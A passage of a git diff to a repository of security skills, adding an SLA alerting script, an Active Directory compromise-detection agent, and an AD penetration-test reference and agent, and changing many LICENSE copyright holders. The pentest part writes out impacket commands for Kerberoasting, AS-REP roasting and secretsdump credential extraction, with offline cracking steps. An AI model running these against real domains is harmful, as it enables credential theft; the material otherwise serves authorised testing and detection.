alerting agent.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Vulnerability SLA breach alerting agent") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Vulnerability SLA breach alerting agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-zero-knowledge-proof-for-authentication/LICENSE b/skills/implementing-zero-knowledge-proof-for-authentication/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-zero-knowledge-proof-for-authentication/LICENSE +++ b/skills/implementing-zero-knowledge-proof-for-authentication/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-zero-standing-privilege-with-cyberark/LICENSE b/skills/implementing-zero-standing-privilege-with-cyberark/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-zero-standing-privilege-with-cyberark/LICENSE +++ b/skills/implementing-zero-standing-privilege-with-cyberark/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-zero-trust-dns-with-nextdns/LICENSE b/skills/implementing-zero-trust-dns-with-nextdns/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-zero-trust-dns-with-nextdns/LICENSE +++ b/skills/implementing-zero-trust-dns-with-nextdns/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-zero-trust-for-saas-applications/LICENSE b/skills/implementing-zero-trust-for-saas-applications/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-zero-trust-for-saas-applications/LICENSE +++ b/skills/implementing-zero-trust-for-saas-applications/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-zero-trust-in-cloud/LICENSE b/skills/implementing-zero-trust-in-cloud/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-zero-trust-in-cloud/LICENSE +++ b/skills/implementing-zero-trust-in-cloud/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-zero-trust-network-access-with-zscaler/LICENSE b/skills/implementing-zero-trust-network-access-with-zscaler/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-zero-trust-network-access-with-zscaler/LICENSE +++ b/skills/implementing-zero-trust-network-access-with-zscaler/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-zero-trust-network-access/LICENSE b/skills/implementing-zero-trust-network-access/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-zero-trust-network-access/LICENSE +++ b/skills/implementing-zero-trust-network-access/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-zero-trust-with-hashicorp-boundary/LICENSE b/skills/implementing-zero-trust-with-hashicorp-boundary/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-zero-trust-with-hashicorp-boundary/LICENSE +++ b/skills/implementing-zero-trust-with-hashicorp-boundary/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/integrating-dast-with-owasp-zap-in-pipeline/LICENSE b/skills/integrating-dast-with-owasp-zap-in-pipeline/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/integrating-dast-with-owasp-zap-in-pipeline/LICENSE +++ b/skills/integrating-dast-with-owasp-zap-in-pipeline/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/integrating-sast-into-github-actions-pipeline/LICENSE b/skills/integrating-sast-into-github-actions-pipeline/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/integrating-sast-into-github-actions-pipeline/LICENSE +++ b/skills/integrating-sast-into-github-actions-pipeline/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/intercepting-mobile-traffic-with-burpsuite/LICENSE b/skills/intercepting-mobile-traffic-with-burpsuite/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/intercepting-mobile-traffic-with-burpsuite/LICENSE +++ b/skills/intercepting-mobile-traffic-with-burpsuite/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/investigating-insider-threat-indicators/LICENSE b/skills/investigating-insider-threat-indicators/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/investigating-insider-threat-indicators/LICENSE +++ b/skills/investigating-insider-threat-indicators/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/investigating-phishing-email-incident/LICENSE b/skills/investigating-phishing-email-incident/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/investigating-phishing-email-incident/LICENSE +++ b/skills/investigating-phishing-email-incident/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/investigating-ransomware-attack-artifacts/LICENSE b/skills/investigating-ransomware-attack-artifacts/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/investigating-ransomware-attack-artifacts/LICENSE +++ b/skills/investigating-ransomware-attack-artifacts/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/managing-cloud-identity-with-okta/LICENSE b/skills/managing-cloud-identity-with-okta/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/managing-cloud-identity-with-okta/LICENSE +++ b/skills/managing-cloud-identity-with-okta/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/managing-intelligence-lifecycle/LICENSE b/skills/managing-intelligence-lifecycle/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/managing-intelligence-lifecycle/LICENSE +++ b/skills/managing-intelligence-lifecycle/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/mapping-mitre-attack-techniques/LICENSE b/skills/mapping-mitre-attack-techniques/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/mapping-mitre-attack-techniques/LICENSE +++ b/skills/mapping-mitre-attack-techniques/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/monitoring-darkweb-sources/LICENSE b/skills/monitoring-darkweb-sources/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/monitoring-darkweb-sources/LICENSE +++ b/skills/monitoring-darkweb-sources/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-access-recertification-with-saviynt/LICENSE b/skills/performing-access-recertification-with-saviynt/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-access-recertification-with-saviynt/LICENSE +++ b/skills/performing-access-recertification-with-saviynt/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-access-review-and-certification/LICENSE b/skills/performing-access-review-and-certification/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-access-review-and-certification/LICENSE +++ b/skills/performing-access-review-and-certification/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-active-directory-bloodhound-analysis/LICENSE b/skills/performing-active-directory-bloodhound-analysis/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-active-directory-bloodhound-analysis/LICENSE +++ b/skills/performing-active-directory-bloodhound-analysis/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-active-directory-compromise-investigation/LICENSE b/skills/performing-active-directory-compromise-investigation/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-active-directory-compromise-investigation/LICENSE +++ b/skills/performing-active-directory-compromise-investigation/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-active-directory-compromise-investigation/references/api-reference.md b/skills/performing-active-directory-compromise-investigation/references/api-reference.md new file mode 100644 index 00000000..0515c9c5 --- /dev/null +++ b/skills/performing-active-directory-compromise-investigation/references/api-reference.md @@ -0,0 +1,81 @@ +# Active Directory Compromise Investigation - API Reference + +## Windows Security Event IDs + +| Event ID | Description | Compromise Indicator | +|----------|-------------|---------------------| +| 4662 | Directory service object accessed | DCSync (replication GUIDs) | +| 4769 | Kerberos service ticket requested | Kerberoasting (RC4 encryption) | +| 4768 | Kerberos TGT requested | Golden Ticket (anomalous source) | +| 4672 | Special privileges assigned | Privileged logon tracking | +| 4624 | Successful logon | Lateral movement (Type 3) | +| 4648 | Explicit credential logon | Pass-the-hash, PsExec | +| 4720 | User account created | Persistence | +| 4728 | Member added to global group | Privilege escalation | +| 4732 | Member added to local group | Privilege escalation | + +## DCSync Detection + +### Replication GUIDs (Event 4662 ObjectType) + +| GUID | Right | +|------|-------| +| `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` | DS-Replication-Get-Changes | +| `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` | DS-Replication-Get-Changes-All | +| `89e95b76-444d-4c62-991a-0facbeda640c` | DS-Replication-Get-Changes-In-Filtered-Set | + +When a non-DC account triggers 4662 with these GUIDs, it indicates DCSync attack (Mimikatz lsadump::dcsync). + +## Kerberoasting Detection + +Event 4769 with `TicketEncryptionType = 0x17` (RC4-HMAC) for service accounts. Normal behavior uses AES (0x11 or 0x12). RC4 requests by user accounts against service SPNs indicate offline cracking attempts. + +## Golden Ticket Detection + +Event 4768 TGT requests from IPs that are not domain controllers. Golden tickets forged offline will show TGT requests from workstations rather than DCs. + +## Lateral Movement Detection + +- **Type 3 logon** (Event 4624, LogonType=3): Network logon via SMB, WMI, PsExec +- **Event 4648**: Explicit credential use (runas, remote tools) +- Pattern: Multiple Type 3 logons from same source to different targets + +## Event Log JSON Format + +The agent accepts JSON-exported event logs: +```json +[ + { + "EventID": 4769, + "TimeCreated": "2024-01-15T10:30:00Z", + "EventData": { + "TargetUserName": "svc_sql", + "ServiceName": "MSSQLSvc/db01:1433", + "TicketEncryptionType": "0x17" + } + } +] +``` + +Export from PowerShell: +```powershell +Get-WinEvent -LogName Security | ConvertTo-Json -Depth 5 > events.json +``` + +## Output Schema + +```json +{ + "report": "ad_compromise_investigation", + "total_events_analyzed": 50000, + "total_findings": 15, + "severity_summary": {"critical": 3, "high": 7, "medium": 5}, + "findings": [{"type": "dcsync_detected", "severity": "critical"}] +} +``` + +## CLI Usage + +```bash +python agent.py --log events.json --output report.json +``` diff --git a/skills/performing-active-directory-compromise-investigation/scripts/agent.py b/skills/performing-active-directory-compromise-investigation/scripts/agent.py new file mode 100644 index 00000000..352047ca --- /dev/null +++ b/skills/performing-active-directory-compromise-investigation/scripts/agent.py @@ -0,0 +1,225 @@ +#!/usr/bin/env python3 +"""Active Directory Compromise Investigation agent - analyzes Windows Security +event logs for indicators of AD compromise including DCSync, Golden Ticket, +Kerberoasting, and lateral movement.""" + +import argparse +import json +import sys +from collections import Counter, defaultdict +from datetime import datetime +from pathlib import Path + + +COMPROMISE_INDICATORS = { + 4662: {"name": "DCSync Detection", "description": "Directory service object accessed with replication rights"}, + 4769: {"name": "Kerberoasting", "description": "Kerberos service ticket requested with RC4 encryption"}, + 4768: {"name": "Golden Ticket", "description": "Kerberos TGT requested"}, + 4672: {"name": "Privileged Logon", "description": "Special privileges assigned to new logon"}, + 4624: {"name": "Logon Event", "description": "Successful logon - check Type 3 for lateral movement"}, + 4648: {"name": "Explicit Credential Logon", "description": "Logon using explicit credentials"}, + 4720: {"name": "Account Created", "description": "New user account created"}, + 4728: {"name": "Group Membership Change", "description": "Member added to global group"}, +} + + +def parse_evtx_json(log_path: str) -> list[dict]: + """Parse Windows event logs exported as JSON.""" + content = Path(log_path).read_text(encoding="utf-8") + try: + events = json.loads(content) + except json.JSONDecodeError: + events = [json.loads(line) for line in content.strip().splitlines() if line.strip()] + return events + + +def detect_dcsync(events: list[dict]) -> list[dict]: + """Detect DCSync attacks via Event ID 4662 with replication GUIDs.""" + replication_guids = { + "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", + "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", + "89e95b76-444d-4c62-991a-0facbeda640c", + } + findings = [] + for evt in events: + eid = evt.get("EventID") or evt.get("event_id") + if eid != 4662: + continue + data = evt.get("EventData", evt.get("event_data", {})) + obj_type = str(data.get("ObjectType", "")).lower().strip("{}") + if obj_type in replication_guids: + subject = data.get("SubjectUserName", "unknown") + findings.append({ + "type": "dcsync_detected", + "severity": "critical", + "event_id": 4662, + "subject": subject, + "object_type": obj_type, + "timestamp": evt.get("TimeCreated", evt.get("timestamp", "")), + "detail": f"DCSync replication by {subject}", + }) + return findings + + +def detect_kerberoasting(events: list[dict]) -> list[dict]: + """Detect Kerberoasting via Event ID 4769 with RC4 encryption.""" + findings = [] + for evt in events: + eid = evt.get("EventID") or evt.get("event_id") + if eid != 4769: + continue + data = evt.get("EventData", evt.get("event_data", {})) + ticket_encryption = str(data.get("TicketEncryptionType", "")) + if ticket_encryption == "0x17": + service = data.get("ServiceName", "unknown") + client = data.get("TargetUserName", "unknown") + findings.append({ + "type": "kerberoasting_detected", + "severity": "high", + "event_id": 4769, + "service": service, + "client": client, + "encryption": "RC4 (0x17)", + "timestamp": evt.get("TimeCreated", evt.get("timestamp", "")), + "detail": f"RC4 TGS request for {service} by {client}", + }) + return findings + + +def detect_golden_ticket(events: list[dict]) -> list[dict]: + """Detect Golden Ticket indicators via Event ID 4768 anomalies.""" + findings = [] + for evt in events: + eid = evt.get("EventID") or evt.get("event_id") + if eid != 4768: + continue + data = evt.get("EventData", evt.get("event_data", {})) + client = data.get("TargetUserName", "") + ip_addr = data.get("IpAddress", "") + if ip_addr and not ip_addr.startswith("::") and ip_addr != "127.0.0.1": + findings.append({ + "type": "golden_ticket_indicator", + "severity": "critical", + "event_id": 4768, + "client": client, + "source_ip": ip_addr, + "timestamp": evt.get("TimeCreated", evt.get("timestamp", "")), + "detail": f"TGT request for {client} from {ip_addr}", + }) + return findings + + +def detect_lateral_movement(events: list[dict]) -> list[dict]: + """Detect lateral movement via Type 3 logons and explicit credential use.""" + findings = [] + lateral_events = defaultdict(list) + for evt in events: + eid = evt.get("EventID") or evt.get("event_id") + data = evt.get("EventData", evt.get("event_data", {})) + if eid == 4624: + logon_type = str(data.get("LogonType", "")) + if logon_type == "3": + src_ip = data.get("IpAddress", "") + user = data.get("TargetUserName", "") + lateral_events[(user, src_ip)].append( + evt.get("TimeCreated", evt.get("timestamp", ""))) + elif eid == 4648: + user = data.get("SubjectUserName", "") + target = data.get("TargetServerName", "") + findings.append({ + "type": "explicit_credential_use", + "severity": "medium", + "event_id": 4648, + "user": user, + "target_server": target, + "timestamp": evt.get("TimeCreated", evt.get("timestamp", "")), + "detail": f"Explicit credential logon by {user} to {target}", + }) + + for (user, src_ip), timestamps in lateral_events.items(): + if len(timestamps) > 5: + findings.append({ + "type": "lateral_movement_pattern", + "severity": "high", + "user": user, + "source_ip": src_ip, + "logon_count": len(timestamps), + "detail": f"{len(timestamps)} Type 3 logons by {user} from {src_ip}", + }) + return findings + + +def detect_persistence(events: list[dict]) -> list[dict]: + """Detect persistence mechanisms via account creation and group changes.""" + findings = [] + for evt in events: + eid = evt.get("EventID") or evt.get("event_id") + data = evt.get("EventData", evt.get("event_data", {})) + if eid == 4720: + creator = data.get("SubjectUserName", "unknown") + new_account = data.get("TargetUserName", "unknown") + findings.append({ + "type": "account_created", + "severity": "medium", + "event_id": 4720, + "creator": creator, + "new_account": new_account, + "timestamp": evt.get("TimeCreated", evt.get("timestamp", "")), + "detail": f"Account {new_account} created by {creator}", + }) + elif eid in (4728, 4732): + subject = data.get("SubjectUserName", "unknown") + member = data.get("MemberName", "unknown") + group = data.get("TargetUserName", "unknown") + findings.append({ + "type": "group_membership_change", + "severity": "high", + "event_id": eid, + "subject": subject, + "member": member, + "group": group, + "timestamp": evt.get("TimeCreated", evt.get("timestamp", "")), + "detail": f"{member} added to {group} by {subject}", + }) + return findings + + +def generate_report(log_path: str) -> dict: + """Run all detection checks and produce consolidated report.""" + events = parse_evtx_json(log_path) + findings = [] + findings.extend(detect_dcsync(events)) + findings.extend(detect_kerberoasting(events)) + findings.extend(detect_golden_ticket(events)) + findings.extend(detect_lateral_movement(events)) + findings.extend(detect_persistence(events)) + + severity_counts = Counter(f["severity"] for f in findings) + return { + "report": "ad_compromise_investigation", + "generated_at": datetime.utcnow().isoformat() + "Z", + "log_file": log_path, + "total_events_analyzed": len(events), + "total_findings": len(findings), + "severity_summary": dict(severity_counts), + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="AD Compromise Investigation Agent") + parser.add_argument("--log", required=True, help="Path to JSON-exported Windows Security event log") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.log) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-active-directory-penetration-test/LICENSE b/skills/performing-active-directory-penetration-test/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-active-directory-penetration-test/LICENSE +++ b/skills/performing-active-directory-penetration-test/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-active-directory-penetration-test/references/api-reference.md b/skills/performing-active-directory-penetration-test/references/api-reference.md new file mode 100644 index 00000000..66bd738f --- /dev/null +++ b/skills/performing-active-directory-penetration-test/references/api-reference.md @@ -0,0 +1,84 @@ +# Active Directory Penetration Test - API Reference + +## ldap3 Library + +### Connection +```python +from ldap3 import Server, Connection, ALL, SUBTREE +server = Server("ldaps://dc.example.com", get_info=ALL, use_ssl=True) +conn = Connection(server, user="DOMAIN\\user", password="pass", auto_bind=True) +``` + +### Key LDAP Queries + +| Purpose | Filter | +|---------|--------| +| All users | `(&(objectClass=user)(objectCategory=person))` | +| Users with SPNs | `(&(objectClass=user)(servicePrincipalName=*))` | +| AS-REP Roastable | `(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))` | +| Domain admins | `(&(objectClass=group)(cn=Domain Admins))` | +| Password policy | `(objectClass=domain)` | + +### UserAccountControl Flags + +| Flag | Hex | Test | +|------|-----|------| +| ACCOUNTDISABLE | 0x0002 | Account disabled | +| PASSWD_NOTREQD | 0x0020 | No password required | +| DONT_EXPIRE_PASSWORD | 0x10000 | Password never expires | +| DONT_REQ_PREAUTH | 0x400000 | No Kerberos pre-auth | + +## Impacket Tools + +### GetUserSPNs (Kerberoasting) +```bash +python3 -m impacket.examples.GetUserSPNs DOMAIN/user:pass -dc-ip 10.0.0.1 -request +``` + +### GetNPUsers (AS-REP Roasting) +```bash +python3 -m impacket.examples.GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.0.0.1 +``` + +### secretsdump (Credential Extraction) +```bash +python3 -m impacket.examples.secretsdump DOMAIN/admin:pass@10.0.0.1 +``` + +## Attack Techniques + +### Kerberoasting +1. Enumerate users with SPNs via LDAP +2. Request TGS tickets for those SPNs +3. Extract ticket hashes +4. Crack offline with hashcat (mode 13100) + +### AS-REP Roasting +1. Find accounts with pre-auth disabled +2. Request AS-REP without authentication +3. Extract encrypted part of AS-REP +4. Crack offline with hashcat (mode 18200) + +### Password Policy Weaknesses +- Min length < 12 characters +- No account lockout threshold +- No password history enforcement +- Password never expires on service accounts + +## Output Schema + +```json +{ + "report": "ad_penetration_test", + "domain_info": {"default_naming_context": "DC=example,DC=com"}, + "total_users": 500, + "total_findings": 12, + "severity_summary": {"critical": 1, "high": 8, "medium": 3} +} +``` + +## CLI Usage + +```bash +python agent.py --server ldaps://dc.example.com --username "DOMAIN\\user" --password "pass" --output report.json +``` diff --git a/skills/performing-active-directory-penetration-test/scripts/agent.py b/skills/performing-active-directory-penetration-test/scripts/agent.py new file mode 100644 index 00000000..54234e5d --- /dev/null +++ b/skills/performing-active-directory-penetration-test/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Active Directory Penetration Test agent - automates AD enumeration using +ldap3 for LDAP queries, subprocess for impacket tools, and generates a +structured pentest findings report.""" + +import argparse +import json +import subprocess +import sys +from datetime import datetime +from pathlib import Path + +try: + from ldap3 import Server, Connection, ALL, SUBTREE +except ImportError: + print("Install ldap3: pip install ldap3", file=sys.stderr) + sys.exit(1) + + +def connect_ldap(server_url: str, username: str, password: str, use_ssl: bool = True) -> Connection: + """Establish authenticated LDAP connection.""" + srv = Server(server_url, get_info=ALL, use_ssl=use_ssl) + conn = Connection(srv, user=username, password=password, auto_bind=True) + return conn + + +def get_domain_info(conn: Connection) -> dict: + """Extract domain functional level and naming context.""" + info = conn.server.info + return { + "default_naming_context": info.other.get("defaultNamingContext", [""])[0], + "forest_functionality": info.other.get("forestFunctionality", [""])[0], + "domain_functionality": info.other.get("domainFunctionality", [""])[0], + } + + +def enumerate_users(conn: Connection, base_dn: str) -> list[dict]: + """Enumerate all domain users with security-relevant attributes.""" + conn.search(base_dn, "(&(objectClass=user)(objectCategory=person))", + search_scope=SUBTREE, + attributes=["sAMAccountName", "userAccountControl", "adminCount", + "pwdLastSet", "lastLogon", "servicePrincipalName", + "memberOf", "description"]) + users = [] + for entry in conn.entries: + uac = int(str(entry.userAccountControl)) if hasattr(entry, "userAccountControl") else 0 + users.append({ + "username": str(entry.sAMAccountName), + "admin_count": str(entry.adminCount) if hasattr(entry, "adminCount") else "0", + "password_not_required": bool(uac & 0x0020), + "password_never_expires": bool(uac & 0x10000), + "account_disabled": bool(uac & 0x0002), + "kerberos_preauth_not_required": bool(uac & 0x400000), + "has_spn": bool(entry.servicePrincipalName), + "description": str(entry.description) if hasattr(entry, "description") else "", + }) + return users + + +def find_asrep_roastable(users: list[dict]) -> list[dict]: + """Identify accounts vulnerable to AS-REP Roasting.""" + findings = [] + for user in users: + if user["kerberos_preauth_not_required"] and not user["account_disabled"]: + findings.append({ + "type": "asrep_roastable", + "severity": "high", + "account": user["username"], + "detail": "Kerberos pre-authentication disabled - AS-REP Roasting possible", + }) + return findings + + +def find_kerberoastable(users: list[dict]) -> list[dict]: + """Identify accounts vulnerable to Kerberoasting.""" + findings = [] + for user in users: + if user["has_spn"] and not user["account_disabled"]: + findings.append({ + "type": "kerberoastable", + "severity": "high", + "account": user["username"], + "detail": "User account with SPN set - Kerberoasting possible", + }) + return findings + + +def check_password_policy(conn: Connection, base_dn: str) -> list[dict]: + """Audit domain password policy.""" + conn.search(base_dn, "(objectClass=domain)", search_scope=SUBTREE, + attributes=["minPwdLength", "lockoutThreshold", "pwdHistoryLength", + "maxPwdAge", "minPwdAge", "lockoutDuration"]) + findings = [] + if conn.entries: + entry = conn.entries[0] + min_len = int(str(entry.minPwdLength)) if hasattr(entry, "minPwdLength") else 0 + lockout = int(str(entry.lockoutThreshold)) if hasattr(entry, "lockoutThreshold") else 0 + if min_len < 12: + findings.append({ + "type": "weak_password_policy", + "severity": "high", + "detail": f"Minimum password length is {min_len} (recommended: 12+)", + }) + if lockout == 0: + findings.append({ + "type": "no_account_lockout", + "severity": "critical", + "detail": "No account lockout policy - brute force attacks possible", + }) + return findings + + +def run_impacket_getspns(dc_ip: str, domain: str, username: str, password: str) -> dict: + """Run impacket GetUserSPNs for Kerberoasting.""" + cmd = ["python3", "-m", "impacket.examples.GetUserSPNs", + f"{domain}/{username}:{password}", "-dc-ip", dc_ip, "-request"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + return {"success": True, "output": result.stdout[:5000], "errors": result.stderr[:1000]} + except (subprocess.TimeoutExpired, FileNotFoundError) as e: + return {"success": False, "error": str(e)} + + +def generate_report(server_url: str, username: str, password: str, + use_ssl: bool, dc_ip: str = None) -> dict: + """Run full AD pentest enumeration and build report.""" + conn = connect_ldap(server_url, username, password, use_ssl) + domain_info = get_domain_info(conn) + base_dn = domain_info["default_naming_context"] + + users = enumerate_users(conn, base_dn) + findings = [] + findings.extend(find_asrep_roastable(users)) + findings.extend(find_kerberoastable(users)) + findings.extend(check_password_policy(conn, base_dn)) + + conn.unbind() + + from collections import Counter + severity_counts = Counter(f["severity"] for f in findings) + return { + "report": "ad_penetration_test", + "generated_at": datetime.utcnow().isoformat() + "Z", + "domain_info": domain_info, + "total_users": len(users), + "total_findings": len(findings), + "severity_summary": dict(severity_counts), + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="AD Penetration Test Agent") + parser.add_argument("--server", required=True, help="LDAP server URL (ldaps://dc.example.com)") + parser.add_argument("--username", required=True, help="Domain username (DOMAIN\\\\user)") + parser.add_argument("--password", required=True, help="Password") + parser.add_argument("--no-ssl", action="store_true", help="Disable SSL") + parser.add_argument("--dc-ip", help="DC IP for impacket 